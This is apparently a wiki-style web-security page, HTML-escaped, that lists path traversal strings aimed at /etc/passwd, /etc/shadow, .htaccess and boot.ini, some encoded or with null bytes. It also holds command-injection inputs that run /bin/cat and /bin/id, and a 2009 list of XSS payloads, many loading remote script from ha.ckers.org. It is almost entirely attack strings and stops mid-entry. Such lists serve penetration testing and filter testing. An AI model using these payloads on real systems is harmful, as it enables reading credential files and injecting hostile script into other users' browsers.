%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img 